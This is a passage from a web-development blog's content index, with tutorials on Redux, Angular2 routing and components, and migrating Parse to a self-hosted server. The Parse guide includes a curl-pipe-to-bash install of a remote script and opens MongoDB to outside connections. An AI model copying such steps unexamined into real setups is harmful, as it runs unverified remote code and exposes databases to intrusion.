applications\nFlux is a pattern for a unidirectional data flow that inspired Redux so it is interesting to learn about it as well. With Flux the view propagates an action through a central dispatcher to the various stores (holding the application\u0026rsquo;s data and business logic). As a result the views affected by those changes are updated.\nFlux was introduced two years ago and was a big success. Tones of librairies based on the Flux pattern emerged (Flummox , Alt , Fluxxor , etc..), selecting one or the other was a real dilemma at the time (famous JS fatigue). Out of this chaos arose the Redux revolution.\nRedux Redux is a predictable state container for JavaScript apps.\nRedux evolves from the Flux pattern, but reduces its complexity by removing the Dispatcher and by using only one Store. Exit the Dispatcher, Redux is all about Store, Actions and Reducers.\nAs your app grows, instead of adding stores, you split the root reducer into smaller reducers independently operating on the different parts of the state tree.\nYou can use Redux together with React, or with any other view library.\nInstallation npm install --save redux Store With Redux your application has only one store. This store is the \u0026ldquo;single source of truth\u0026rdquo; that represents the state of your entire application.\nHere is an example of a state of an app that has a user and an expandable menu.\n{ \u0026#34;isMenuOpened\u0026#34;: false, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34;, \u0026#34;sexe\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;age\u0026#34;: 29 } } Actions Now that we have our initial state tree, how to modify it? To modify it we need to create actions. An action is an object describing the changes we want to make to our state tree.\nHere is an action that will open our menu:\nconst action = { type: \u0026#39;MENU_OPEN\u0026#39; } Here is another on that will change the firstname of our user:\nconst action = { type: \u0026#39;USER_UPDATE_FIRSTNAME\u0026#39;, newFirstName: \u0026#39;Marie\u0026#39; } We are now ready to make changes to our state tree! To do so we will use Reducers.\nReducers Reducers are pure functions that take the previous state and an action, and return the next state.\nPure functions can be described as the following:\nPredictable Testable Declarative Return a new reference Do not mutate arguments Here is our reducer that handle the menu state:\n// Initial state to false meaning the menu is closed by default function menuReducer(state = false, action) { switch (action.type) { case \u0026#39;MENU_OPEN\u0026#39;: return true case \u0026#39;MENU_CLOSE\u0026#39;: return false case \u0026#39;MENU_TOGGLE\u0026#39;: return !state default: return state } } Here is an example of our user reducer:\n// Initial state is a user (just for the demo) // In a real app you will want to set the logged in user asynchronously // for instance const initialState = {\u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34;, \u0026#34;sexe\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;age\u0026#34;: 29}; function userReducer(state = initialState, action) { switch (action.type) { case \u0026#39;USER_UPDATE_FIRSTNAME\u0026#39;: // ES7 Object spread or ... return {...state, firstname: action.newFirstName } // ... ES6 Object assign return Object.assign({}, state, {firstname: action.newFirstName} }) default: return state } } Several things to notice here:\nWe always return the previous state as default. This is in case no actions match, we do not want anything to change so we return the old state. We always return a new reference. That\u0026rsquo;s what pure functions do. Immutability has also a performance benefit as your app can know if your state changed or not simply by === it. We always have an initial state. That will be the value of your state when the app starts. Now that we know our primitive concepts: Store, Actions and Reducers we need to learn how everything work together.\nCreating a store To create a store you need to register all the reducers of your app using combineReducers method:\nimport { createStore, combineReducers } from \u0026#39;redux\u0026#39; import reducerIsMenuOpened from \u0026#39;./reducers/isMenuOpened\u0026#39; import reducerUser from \u0026#39;./reducers/user\u0026#39; // Create a store with several reducers let store = createStore(combineReducers({ isMenuOpened: reducerIsMenuOpened, user: reducerUser }) Now we can use the store reference to subscribe, dispatch, or getState. These are the only methods you will need.\ngetState method returns the state tree at the moment you ask:\nstore.getState() subscribe is called whenever the state tree changes:\nstore.subscribe(() =\u0026gt; console.log(store.getState()) The only way to change the state tree is to emit an action through a dispatch method:\nstore.dispatch(action) Let\u0026rsquo;s try it out!\n// Subscribe to any change and dump in the console store.subscribe(() =\u0026gt; console.log(store.getState()) // Dump the initial state: console.log(store.getState()) /* { \u0026#34;isMenuOpened\u0026#34;: false, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34; } } */ const actionMenuOpen = { type: \u0026#39;MENU_OPEN\u0026#39; } store.dispatch(actionMenuOpen) // Dumps /* { \u0026#34;isMenuOpened\u0026#34;: true, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Julien\u0026#34; } } */ const actionChangeFirstName = { type: \u0026#39;USER_UPDATE_FIRSTNAME\u0026#39;, newFirstName: \u0026#39;Marie\u0026#39; } store.dispatch(actionChangeFirstName) // Dumps /* { \u0026#34;isMenuOpened\u0026#34;: true, \u0026#34;user\u0026#34; : { \u0026#34;firstname\u0026#34;: \u0026#34;Marie\u0026#34; } } */ Now that we learnt Redux basics (Store, Actions and Reducers), let see how to use it with React.\nReact-redux React-redux is the official library that supports React bindings for Redux.\nInstallation npm install --save redux react-redux Creating a store With React-redux you do not need to subscribe to store changes in your components.\nTo create the store we only need redux and it is exactly the same as if you were using vanilla ES6 JavaScript.\nimport { combineReducers } from \u0026#39;redux\u0026#39; import reducerIsMenuOpened from \u0026#39;./reducers/isMenuOpened\u0026#39; import reducerUser from \u0026#39;./reducers/user\u0026#39; export default createStore(combineReducers({ isMenuOpened: reducerIsMenuOpened, user: reducerUser }) Our store is now created, all we need to do is to make it available to every component of our application. To do so we need to wrap our RootComponent (it could be anything) with React-redux\u0026rsquo;s Provider component.\nimport React from \u0026#39;react\u0026#39; import ReactDOM from \u0026#39;react-dom\u0026#39; import { Provider } from \u0026#39;react-redux\u0026#39; import store from \u0026#39;./pathToPreviousFile\u0026#39; ReactDOM.render( \u0026lt;Provider store={store}\u0026gt; \u0026lt;RootComponent /\u0026gt; \u0026lt;/Provider\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ) The store is now available to any component of your application through context but you will not use it yourself. Interacting with the store is the role of Containers.\nContainers Containers are high order components that aim to communicate with the store for you. The container gives you access to your state tree and to the dispatch method.\nLet\u0026rsquo;s create a simple menu component to explain how containers work.\nconst Menu = ({ isMenuOpened, toggleMenu }) =\u0026gt; ( \u0026lt;div\u0026gt; \u0026lt;button onClick={toggleMenu}\u0026gt;Toggle menu\u0026lt;/button\u0026gt; \u0026lt;ul className={isMenuOpened ? \u0026#39;menu-opened\u0026#39; : \u0026#39;menu-closed\u0026#39;}\u0026gt; \u0026lt;li\u0026gt;Menu 1\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;Menu 2\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; ) export default Menu As you can see our component is stateless and only has two props:\nisMenuOpened: set a specific CSS class to display or hide the menu toggleMenu: Dispatch an action to toggle the menu isMenuOpened flag The Menu component does not have any clue if your app uses Redux or not. It is what we call a presentational component, it only communicate through props.\nNow let\u0026rsquo;s create a container to wrap our Menu presentational component:\nimport { connect } from \u0026#39;react-redux\u0026#39; import Menu from \u0026#39;./Menu\u0026#39; import {toggleMenu} from \u0026#39;../actions/menu\u0026#39; const mapStateToProps = (state) =\u0026gt; { return { isMenuOpened: state.isMenuOpened } } const mapDispatchToProps = (dispatch) =\u0026gt; { return { toggleMenu: () =\u0026gt; dispatch(toggleMenu()) } } export default connect( mapStateToProps, mapDispatchToProps )(Menu) The connect method creates a new component from mapStateToProps (allow you to select the data necessary to your component and insert them as props), mapDispatchToProps (allow you to dispatch actions to modify the state tree) and the Menu component.\nInstead of using the Menu component now you can use the MenuContainer that is aware of Redux and is meant to interact with the app store.\nHere is a little recap of the differences between a presentational component and a container the taken from Redux documentation.\nNow you have all the knowledge necessary to create your own app using React and Redux. If you want to know more details especially about async operations (through thunks) I highly recommend this series of videos by the creator of Redux himself Dan Abramov .\nAlso if you want to know more about Flux, here is a video of its creator: Jing Chen https://youtu.be/nYkdrAPrdcw?t=10m33s ","permalink":"https://julienrenaux.fr/2016/05/30/introduction-to-redux-and-react-redux/","tags":[{"LinkTitle":"React","RelPermalink":"/tags/react/"},{"LinkTitle":"Redux","RelPermalink":"/tags/redux/"}],"title":"Introduction to Redux and React-Redux"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"\u0026ldquo;The 9 Most Common Mistakes That Ionic Developers Make\u0026rdquo; is a post I made for Toptal .\nIntroduction Ionic has been around for two years now. It is a great set of tools for developing hybrid applications based on AngularJS. Ionic is extremely popular at the moment, with more than one million applications built and a growing community of thousands of developers.\nSince Ionic’s first release, time has passed, and web technologies and best practices have evolved in many ways. Therefore, it is hard to determine which path to follow when starting a new project. In these conditions, developers can make mistakes potentially impacting the quality of their applications or the productivity of their team.\nBy reading the following Common mistakes, you will have the keys to avoiding fundamental problems and to create performant and scalable applications with Ionic.\nRead more\u0026hellip; ","permalink":"https://julienrenaux.fr/2016/04/19/the-9-most-common-mistakes-that-ionic-developers-make/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"},{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"}],"title":"The 9 Most Common Mistakes That Ionic Developers Make"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"},{"LinkTitle":"Ops","RelPermalink":"/categories/ops/"}],"content":"Facebook surprised hundred thousands of developers on January 28th by shutting down Parse services.\nWe have a difficult announcement to make. Beginning today we’re winding down the Parse service, and Parse will be fully retired after a year-long period ending on January 28, 2017\nThis announcement created a cataclysm amongst the community and the #parse became trending on Twitter.\nIf you are like me, struggling about what to do with your current applications running on Parse, you can stop worrying right now. With 20 minutes of your time and only $5/month you can have your Parse server running with your current data.\nFirst you will need to create a droplet at DigitalOcean (Using this referral link you will get $10 credit).\nSelect whatever Linux distribution you want but for this tutorial we will use Ubuntu 14.04 (64-bit):\nAdd your machine SSH key then click \u0026ldquo;Create\u0026rdquo;. In less than a minute you will get your droplet ready.\nTo log in your new machine get your IP address and type this command on your terminal:\n$ ssh root@\u0026lt;yourIpAddress\u0026gt; Now that we are logged in as Root, it is time to setup your machine!\nPrerequisites Node 4.1 MongoDB version 2.6.X or 3.0.X Python 2.x Installation Start by updating the package list and install basic packages.\nsudo apt-get update sudo apt-get install build-essential Node 4.1 We will install Node 4.1 via NVM (Node Version Manager)\n# get the latest nvm release https://github.com/creationix/nvm/releases curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.30.2/install.sh | bash # Restart your terminal or run source ~/.profile # Install the NodeJS version needed nvm install 4.1 # Select the right version nvm use 4.1 # update npm npm install npm -g Now to test that node is installed type node:\n$ node \u0026gt; console.log(\u0026#39;foobar\u0026#39;) foobar Source MongoDB Ubuntu ensures the authenticity of software packages by verifying that they are signed with GPG keys, so we first have to import their key from the official MongoDB repository:\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10 After successfully importing the key you will see:\nOutput gpg: Total number processed: 1 gpg: imported: 1 (RSA: 1) Next, we have to add the MongoDB repository details so APT will know where to download the packages from:\necho \u0026#34;deb http://repo.mongodb.org/apt/ubuntu \u0026#34;$(lsb_release -sc)\u0026#34;/mongodb-org/3.0 multiverse\u0026#34; | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list Now we can update packages and install MongoDB:\nsudo apt-get update sudo apt-get install -y mongodb-org Make sure MongoDB is running:\n$ service mongod status mongod start/running, process 2008 You can also stop, start, and restart MongoDB using the service command (e.g. service mongod stop, server mongod start).\nTo avoid the following error Failed global initialization: BadValue Invalid or no user locale set when trying to log in to your database, we need to set the locale:\n$ nano /etc/environment Add those two lines at the end of the file:\nLC_ALL=en_US.UTF-8 LANG=en_US.UTF-8 Then save, exit (CTRL+O CTRL+X), logout and re log in:\n$ exit # Re log in $ ssh root@\u0026lt;yourIpAddress\u0026gt; We can now log in your MongoDB instance:\n$ mongo MongoDB shell version: 3.0.9 Source Python Python is already installed on DigitalOcean\u0026rsquo;s droplets:\n$ python Python 2.7.6 (default, Jun 22 2015, 17:58:13) Migrate Parse DB Prepare external connections To migrate your data we need to create an admin user first:\n$ mongo \u0026gt; use admin switched to db admin Add a user to the admin DB (change \u0026lt;username\u0026gt; and \u0026lt;password\u0026gt; with your own):\n\u0026gt; db.createUser( { user: \u0026#39;username\u0026#39;, pwd: \u0026#39;password\u0026#39;, roles: [ { role: \u0026#39;userAdminAnyDatabase\u0026#39;, db: \u0026#39;admin\u0026#39; } ] } ) Once Successfully added user message is display we can turn the localhost exception off:\n\u0026gt; auth = true \u0026gt; setParameter = enableLocalhostAuthBypass=0 To allow external connection to your database we need to temporarily disable the remote restriction (until you completely stop using parse.com services).\n$ nano /etc/mongod.conf Comment this line (adding # at the beginning of the line):\nbind_ip = 127.0.0.1 Then restart the MongoDB instance:\n$ service mongod restart Transfer data Use the Parse database migration tool to transfer your data (found in the new dashboard under App Settings \u0026gt; General \u0026gt; Migrate to external database).\nClick \u0026ldquo;migrate\u0026rdquo;:\nThen it will ask for the MongoDB URI connection scheme which looks like this:\nmongodb://[username:password@]host1[:port1][,host2[:port2],...[,hostN[:portN]]][/[database][?options]]\nIn the input type mongodb://\u0026lt;username\u0026gt;:\u0026lt;password\u0026gt;@\u0026lt;yourIpAddress\u0026gt; and click \u0026ldquo;Begin the migration\u0026rdquo;.\nAs we made sure that the user in the connection string had admin privileges so the next screen you see would be an prompt about SSL connection:\nDepending on the privacy of the data you want to transfer use the SSL option or not ?ssl=true.\nNext screen will be this one:\nWhen the transfer is finished you will see the following:\nWe have now access to our data!\n$ mongo MongoDB shell version: 3.0.9 connecting to: test \u0026gt; show dbs admin 0.078GB local 0.078GB test 0.953GB \u0026gt; use test switched to db test \u0026gt; show collections _Cardinality _GlobalConfig _Index _JobSchedule _SCHEMA etc.. Configure Parse server Install Parse Server is meant to be mounted on an Express app. Express is a web framework for Node.js. The fastest way to get started is to clone the Parse Server repo, which at its root contains a sample Express app with the Parse API mounted.\nFirst install Git:\n$ sudo apt-get install git Then find a place to clone the parse-server-example repository. Recommended /var/www/:\n$ cd /var/ $ mkdir www $ cd www/ $ git clone https://github.com/ParsePlatform/parse-server-example.git parse $ cd parse/ Now we can instal the dependencies express, parse and parse-server:\n$ npm install To make sure the Parse server is running you can run this npm script:\n$ npm run start \u0026gt; parse-server-example@1.0.0 start /var/www/parse \u0026gt; node index.js DATABASE_URI not specified, falling back to localhost. parse-server-example running on port 1337. Now open your browser at http://\u0026lt;yourIpAddress\u0026gt;:1337/parse.\nYou should see this JSON response:\n{\u0026#34;error\u0026#34;:\u0026#34;unauthorized\u0026#34;} Use your database There are four environment variables that you can use:\nDATABASE_URI (default \u0026lsquo;mongodb://localhost:27017/dev\u0026rsquo;) CLOUD_CODE_MAIN (default \u0026lsquo;/cloud/main.js\u0026rsquo;) PARSE_MOUNT (default \u0026lsquo;/parse\u0026rsquo;) PORT (default 1337) We can keep the default for now but if you want to modify one of them:\nexport PARSE_MOUNT=\u0026lt;yourEndpoint\u0026gt; Open index.js and add your \u0026lt;appID\u0026gt; and \u0026lt;masterKey\u0026gt;:\n$ nano index.js var api = new ParseServer({ databaseURI: process.env.DATABASE_URI || \u0026#39;mongodb://localhost:27017/dev\u0026#39;, cloud: process.env.CLOUD_CODE_MAIN || __dirname + \u0026#39;/cloud/main.js\u0026#39;, appId: \u0026#39;\u0026lt;appID\u0026gt;\u0026#39;, masterKey: \u0026#39;\u0026lt;masterKey\u0026gt;\u0026#39; }); Restart your server:\n$ npm run start Then to test if you can query your own Parse server run the following CURL command on your machine:\ncurl -X GET \\ -H \u0026#34;X-Parse-Application-Id: \u0026lt;appID\u0026gt;\u0026#34; \\ -H \u0026#34;X-Parse-Master-Key: \u0026lt;masterKey\u0026gt;\u0026#34; \\ -G \\ http://\u0026lt;yourIpAddress\u0026gt;:1337/parse/classes/\u0026lt;yourClass\u0026gt;/\u0026lt;yourClassItemId\u0026gt; The result should be a JSON response containing the item you queried:\n{\u0026#34;objectId\u0026#34;:\u0026#34;CbsgKCNZxM\u0026#34;,\u0026#34;createdAt\u0026#34;:\u0026#34;2015-12-14T05:26:03.609Z\u0026#34;,\u0026#34;updatedAt\u0026#34;:\u0026#34;2015-12-21T00:23:44.561Z\u0026#34;,\u0026#34;title\u0026#34;:\u0026#34;What\u0026#39;s new this week?\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;active\u0026#34;:false} That\u0026rsquo;s it you are now running your own Parse server on your own architecture.\nIf you want your app to point to your own Parse server do not forget to configure your Parse SDK:\n// JavaScript Parse.initialize(\u0026#34;YOUR_APP_ID\u0026#34;); Parse.serverURL = \u0026#39;http://localhost:1337/parse\u0026#39; Using Parse SDKs with Parse Server Now it is time to secure your server and move on!\nSecure your server Now that you have your Parse server running is it time to secure you server starting with removing Root access and creating your own user.\nFirst log in as root\n$ ssh root@\u0026lt;yourIpAddress\u0026gt; Create a New User We will create a new user named newUser for demonstration purpose. You can call it whatever you want.\n$ adduser newUser Adding new group `newUser\u0026#39; (1000) ... Adding new user `newUser\u0026#39; (1000) with group `newUser\u0026#39; ... Creating home directory `/home/newUser\u0026#39; ... Copying files from `/etc/skel\u0026#39; ... Enter new UNIX password: Retype new UNIX password: Give Root Privileges to your new user $ gpasswd -a newUser sudo Adding user newUser to group sudo Copy your ssh key to the server In your local machine run the following:\n$ ssh-copy-id root@\u0026lt;yourIpAddress\u0026gt; After providing your password at the prompt, your public key will be added to the remote user\u0026rsquo;s .ssh/authorized_keys file. The corresponding private key can now be used to log into the server.\nAdd Public Key to New Remote User Enter the following command to switch to the new user\nroot@XXXX:~# su - newUser newUser@XXXX:~$ Create a new directory called .ssh and restrict its permissions with the following commands:\n$ mkdir .ssh $ chmod 700 .ssh Copy the SSH key (local machine) to your clipboard:\n# OSX $ pbcopy \u0026lt; ~/.ssh/id_rsa.pub # Unix $ sudo apt-get install xclip $ xclip -sel clip \u0026lt; ~/.ssh/id_rsa.pub # Windows $ clip \u0026lt; ~/.ssh/id_rsa.pub Now insert it into .ssh/authorized_keys and save using nano nano .ssh/authorized_keys.\n# set permission $ chmod 600 .ssh/authorized_keys Then got back to the root user so we can modify ssh access.\nnewUser@XXXX:~$ exit Configure SSH Daemon Open ssh config file:\n$ nano /etc/ssh/sshd_config Search for PermitRootLogin using CTRL+W command.\nChange it from yes to no then save CTRL+o, CTRL+x.\nTo finish reload SSH:\n$ service ssh restart At this point logging in with root should be forbidden. You can try using the same command we used before:\n$ ssh root@\u0026lt;yourIpAddress\u0026gt; However logging in with newUser is permitted:\n$ ssh newUser@\u0026lt;yourIpAddress\u0026gt; More details Thanks for reading, you can interact about this post by leaving a comment here, or directly on Twitter and Facebook !\n","permalink":"https://julienrenaux.fr/2016/01/29/complete-parse-server-migration-guide/","tags":[{"LinkTitle":"Parse","RelPermalink":"/tags/parse/"}],"title":"Complete Parse Server migration guide"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"I was invited by Josué G. Gutiérrez to talk at AngularJS Mexico city meetup on January, 16th 2016.\nDuring this presentation I demoed an Ionic application that runs on 4 different platforms (iOS, Android, Browser and Desktop) with the same code base.\nThis project is written in TypeScript powered by Webpack and available on Github .\nClick on the slides and press \u0026ldquo;s\u0026rdquo; to see the notes if you are interested.\nThis presentation is available on Github ","permalink":"https://julienrenaux.fr/2016/01/28/slides-cross-platform-applications-with-ionic-framework/","tags":[{"LinkTitle":"Ionic","RelPermalink":"/tags/ionic/"},{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"}],"title":"[Slides] Cross platform applications with Ionic Framework"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post is part of a series of posts about Angular2. You can find them all in the introduction: https://julienrenaux.fr/2015/11/30/angular2-series-introduction/ BEWARE, SINCE THE RELEASE CANDIDATE THIS ROUTER IS DEPRECATED! Before we start and to make sure we are in line on the terminology, I will use the name AngularJS to define AngularJS 1.x and Angular2 to define AngularJS 2.x.\nAll the following code examples are part of a boilerplate I created. It is available on GitHub: https://github.com/shprink/angular2-nobullshit-boilerplate .\nIf you are used to AngularJS applications you have probably used the ui-router instead of the Angular basic router (ngRoute). The ui-router is more popular because it has more features (such as nested views) and was adopted by big projects such as Ionic Framework.\nThe Angular2 router is a complete rewrite of the old ngRoute module. It was created keeping the ui-router use cased in mind, but also Angular2 components based architecture (a concept not yet adopted with AngularJS).\nIf you want to know more details about the Router history I recommend watching this video (beware the API changed a little bit since this video):\nhttps://www.youtube.com/watch?v=vecg70fPDFw If you want to know more about components in Angular2 I suggest you to read this previous article of mine: Angular2 series – Component, Directive, Pipe and Service .\nPath location strategies Using AngularJS\nWith the ui-router in AngularJS you have the choice between two modes. The default one, aka the Hash mode (#products/id) that is not interpreted by servers or the HTML5 mode (/products/id).\nOne or the other can be selected using the $locationProvider\n$locationProvider.html5Mode(true); Notice: This HTML5 mode requires your web server to be configured.\nUsing Angular2\nIn Angular2 we have the same \u0026ldquo;modes\u0026rdquo; but they are called PathLocationStrategy and HashLocationStrategy.\nPathLocationStrategy PathLocationStrategy is the default strategy used by the new router. It is equivalent to the HTML5 mode in AngularJS.\nIf you want to use this strategy, you must define the APP_BASE_HREF to a string representing the URL prefix that should be preserved when switching pages.\nimport {ROUTER_PROVIDERS, APP_BASE_HREF} from \u0026#39;angular2/router\u0026#39;; bootstrap(yourApp, [ ROUTER_PROVIDERS, // includes binding to PathLocationStrategy provide(APP_BASE_HREF, {useValue: \u0026#39;/my/prefix/here\u0026#39;}) ]); If you have problems understanding the above example, learn how to create an application with Angular2 first by reading: Angular2 series – Component, Directive, Pipe and Service .\nIf you do not want any prefix to be kept you can set APP_BASE_HREF to be:\nprovide(APP_BASE_HREF, {useValue: \u0026#39;/\u0026#39;}) Official docs HashLocationStrategy HashLocationStrategy is the strategy equivalent to the default strategy in AngularJS ui-router. This strategy is used to configure the Location service to represent its state with the hash fragment of the browser\u0026rsquo;s URL.\nimport {ROUTER_PROVIDERS, LocationStrategy, HashLocationStrategy} from \u0026#39;angular2/router\u0026#39;; bootstrap(yourApp, [ ROUTER_PROVIDERS, provide(LocationStrategy, {useClass: HashLocationStrategy}) ]); Official docs Define Routes Using AngularJS\nIn AngularJS and ui-router here is how to define states (or Routes) during the configuration phase:\n$stateProvider.state(\u0026#39;home\u0026#39;, { url: \u0026#39;/\u0026#39;, templateUrl: \u0026#39;home.html\u0026#39;, controller: \u0026#39;HomeCtrl\u0026#39; }).state(\u0026#39;about\u0026#39;, { url: \u0026#39;/about\u0026#39;, templateUrl: \u0026#39;about.html\u0026#39;, controller: \u0026#39;AboutCtrl\u0026#39; }) Using Angular2\nIn Angular2 a state is created from a Route class. Using the @RouteConfig annotation you can create your application route definition.\n@RouteConfig takes as first argument an Array of Route that have the following properties:\npath equivalent to url in ui-router states component a component type. name is an optional CamelCase string representing the name of the route. data is an optional property of any type representing arbitrary route metadata for the given route (we talk about it in the Passing data between routes section) With that in mind let\u0026rsquo;s create an equivalent of the routes we created in the AngularJS version:\nimport {RouteConfig, Route} from \u0026#39;angular2/router\u0026#39;; import {MyComponentHome, MyComponentAbout} from \u0026#39;./myComponents\u0026#39;; @Component({ selector: \u0026#34;app\u0026#34; }) @RouteConfig([ new Route({ path: \u0026#39;/\u0026#39;, component: MyComponentHome, name: \u0026#39;Home\u0026#39; }), new Route({ path: \u0026#39;/about\u0026#39;, component: MyComponentAbout, name: \u0026#39;About\u0026#39; }) ]) export class App {...} Template update We have now defined our Routes, the next step is to define where to display the components when switching pages.\nUsing AngularJS\nIn AngularJS and ui-router we can use the ui-view directive to insert dynamic content from each state:\n\u0026lt;body\u0026gt; \u0026lt;ui-view\u0026gt; \u0026lt;i\u0026gt;Some content will load here!\u0026lt;/i\u0026gt; \u0026lt;/ui-view\u0026gt; \u0026lt;/body\u0026gt; Using Angular2\nUsing Angular2, it is similar, only the name of the directive change!\nFirst we need to import the RouterOutlet directive and inject it into our App component, then we can use it in our template.\nimport {RouterOutlet} from \u0026#39;angular2/router\u0026#39;; @Component({ selector: \u0026#34;app\u0026#34; }) @View({ directives: [RouterOutlet] template: ` \u0026lt;router-outlet\u0026gt;\u0026lt;/router-outlet\u0026gt; ` }) Now any location change will load a different component inside the RouterOutlet directive.\nNavigate between pages Using AngularJS\nTo navigate between pages (or states) in AngularJS and the ui-router we can use the ui-sref directive.\n\u0026lt;a ui-sref=\u0026#34;home\u0026#34;\u0026gt;Home page\u0026lt;/a\u0026gt; \u0026lt;a ui-sref=\u0026#34;about\u0026#34;\u0026gt;About page\u0026lt;/a\u0026gt; Using Angular2\nWith Angular2 we can use the RouterLink directive instead.\nThis directive needs to be injected in your component first:\nimport {RouterLink} from \u0026#39;angular2/router\u0026#39;; @Component({ selector: \u0026#34;menu\u0026#34;, directives: [RouterLink], template: ` \u0026lt;a [routerLink]=\u0026#34;[\u0026#39;./Home\u0026#39;]\u0026#34;\u0026gt;Home page\u0026lt;/a\u0026gt; \u0026lt;a [routerLink]=\u0026#34;[\u0026#39;./About\u0026#39;]\u0026#34;\u0026gt;About page\u0026lt;/a\u0026gt; ` }) export class Menu {...} Please note that [routerLink] uses the Route name that we defined earlier in the\nPassing data between routes Using AngularJS\nIn AngularJS we could defined URL parameters in state definitions:\n$stateProvider.state(\u0026#39;product.item\u0026#39;, { url: \u0026#39;/product/:id\u0026#39;, templateUrl: \u0026#39;item.html\u0026#39;, controller: \u0026#39;ItemCtrl\u0026#39; }) To pass the id from a state to another we have two choices. We can use the ui-sref directive or the $state service:\n\u0026lt;a ui-sref=\u0026#34;product.item({id: 4})\u0026#34;\u0026gt;Go to item 4\u0026lt;/a\u0026gt; function($state) { // Go to item 4 $state.go(\u0026#39;product.item\u0026#39;, {id: 4}); } Then getting this data in our controller is easy using the $stateParams service:\nfunction($stateParams) { var id = $stateParams.id; } BEWARE: The concept of params (passing data between states but without using URL parameters) in the ui-router does not exist in Angular2 (see my question on stackoverflow ). A similar concept exist though and it is called data.\nUsing Angular2\nSimilar to AngularJS, we can define URL parameters using path from the Route class:\n@RouteConfig([ new Route({ path: \u0026#39;/product/:id\u0026#39;, component: MyProductItemComponent, name: \u0026#39;ProductItem\u0026#39; }) ]) export class App {...} To pass the id from a Route to another we also have two choices. We can use the routerLink directive or the Router service.\nIn a template:\n\u0026lt;a [routerLink]=\u0026#34;[\u0026#39;./ProductItem\u0026#39;, {id: 4}]\u0026#34;\u0026gt;Go to item 4\u0026lt;/a\u0026gt; In a Component:\nimport {Router} from \u0026#39;angular2/router\u0026#39;; class { constructor(private _router: Router) { this._router.navigate( [\u0026#39;./ProductItem\u0026#39;, { id: 4 }] ); } } Then getting this data in a Component is easy using the RouteParams service:\nimport {RouteParams} from \u0026#39;angular2/router\u0026#39;; class { id: number; constructor(private _params: RouteParams) { this.id = _params.get(\u0026#39;id\u0026#39;); } } Official docs You can also retrieve data from a Route using RouteData service. I think this feature would not be used often (I probably will not use it on my applications) but it is good to know that it exists:\n@RouteConfig([ new Route({ path: \u0026#39;/product/:id\u0026#39;, component: MyProductItemComponent, name: \u0026#39;ProductItem\u0026#39;, data: { isAdmin: true } }) ]) export class App {...} You can now retrieve the isAdmin flag or any other Route metadata in your Components using the RouteData service:\nclass { isAdmin: boolean; constructor(private _data: RouteData) { this.isAdmin = _data.get(\u0026#39;isAdmin\u0026#39;); } } Official docs Thanks for reading, you can interact about this post by leaving a comment here, or directly on Twitter and Facebook !\n","permalink":"https://julienrenaux.fr/2015/12/25/angular2-series-routing/","tags":[{"LinkTitle":"Angular","RelPermalink":"/tags/angular/"}],"title":"Angular2 series - Routing"},{"categories":[{"LinkTitle":"Web","RelPermalink":"/categories/web/"}],"content":"This post is part of a series of posts about Angular2. You can find them all in the introduction: https://julienrenaux.fr/2015/11/30/angular2-series-introduction/ Before we start and to make sure we are in line on the terminology, I will use the name AngularJS to define AngularJS 1.x and Angular2 to define AngularJS 2.x.\nComponent A component is what you used to call a directive in AngularJS. It contains a template, styles, a list of injectables (directives, services) and a selector.\nOfficial docs Let\u0026rsquo;s create a component that lists the US Democratic Party presidential candidates.\nimport {Component, View, NgFor} from \u0026#39;angular2/core\u0026#39;; @Component({ selector: \u0026#34;navbar\u0026#34;, directives: [NgFor], styles: [` li{ color: gray; } `], template: ` \u0026lt;h2\u0026gt;Democratic Party presidential candidates\u0026lt;/h2\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li *ngFor=\u0026#34;#item of items; #i = index\u0026#34;\u0026gt;{{item}} {{i}}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; ` }) export class Navbar { items: Array\u0026lt;String\u0026gt; constructor() { this.items = [ \u0026#34;Hillary Clinton\u0026#34;, \u0026#34;Martin O\u0026#39;Malley\u0026#34;, \u0026#34;Bernie Sanders\u0026#34; ] } ngOnInit() { console.log(\u0026#39;[Component] navbar ngOnInit\u0026#39;); } } When a component is instantiated, Angular2 creates a shadow DOM for the component (Shadow DOM provides encapsulation for the JavaScript, CSS, and templating in a Web Component). Then, the template and styles are injected inside it.\nLearn a bit more about Web component and specifically about the \u0026lt;template\u0026gt; tag by reading the previous article of this series of posts: Angular2 series – Template Syntax .\nYou can now use your component by inserting it into your html page:\n\u0026lt;navbar\u0026gt;\u0026lt;/navbar\u0026gt; Demo http://embed.plnkr.co/cUCWoUDRzd31YRRbo5Rg/preview Lifecycle hooks In the previous example, we used the ngOnInit Class method to dump a message [Component] navbar ngOnInit in the console. It is called only when the component is initiated. It exists several hooks that make your life easier when it comes to plug yourself in between component life phases.\nngOnChanges (if any bindings have changed) ngOnInit (after the first check only) ngOnDestroy (at the very end before destruction) Implement this interface to get notified when any data-bound property of your directive changes ngDoCheck ngAfterContentInit ngAfterContentChecked ngAfterViewInit ngAfterViewChecked Official docs Directive Directives allow you to attach behaviour to elements in the DOM. It is also what you used to call a directive in AngularJS, but without a proper view. You can therefore place as many directives as you want on one DOM-element. This is not possible with components.\nOfficial docs Let\u0026rsquo;s get back to our previous component and this time, let\u0026rsquo;s make our presidential candidates red. To do so, we are going to create the redify directive:\nimport {Directive, ElementRef, Renderer} from 